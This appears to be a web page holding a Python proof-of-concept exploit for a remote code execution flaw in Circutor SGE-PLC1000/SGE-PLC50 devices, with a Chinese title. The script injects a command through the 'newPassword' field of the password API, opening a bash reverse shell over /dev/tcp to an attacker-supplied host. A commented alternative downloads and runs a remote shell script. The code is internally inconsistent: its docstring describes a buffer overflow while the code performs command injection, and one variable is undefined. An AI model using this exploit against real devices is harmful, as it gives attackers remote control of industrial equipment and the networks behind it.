CVE-2025-11786 Circutor SGE-PLC1000/SGE-PLC50 SetUserPassword() 远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-11786 PoC - Circutor SGE-PLC1000/SGE-PLC50 Remote Code Execution # Discovery: [email protected] import requests import argparse import sys def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the SetUserPassword() buffer overflow to achieve RCE This PoC demonstrates command injection via newPassword parameter """ target_url = f"http://{target_ip}:{target_port}/api/user/password" # Construct malicious password with reverse shell payload # The payload uses command substitution to execute reverse shell payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 #" # Alternative payload using base64 encoded command # cmd="wget http://{attacker_ip}/shell.sh -O /tmp/sh && bash /tmp/sh" # payload = f";echo {base64_cmd} | base64 -d | bash #" data = { "newPassword": payload, "username": "admin" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, json=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11786 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port") parser.add_argument("-l", "--lhost", required=True, help="Attacker IP for reverse shell") parser.add_argument("-P", "--lport", type=int, default=4444, help="Attacker port") args = parser.parse_args() print("=" * 60) print("CVE-2025-11786 - Circutor SGE-PLC RCE Exploit") print("=" * 60) exploit(args.target, args.port, args.lhost, args.lport)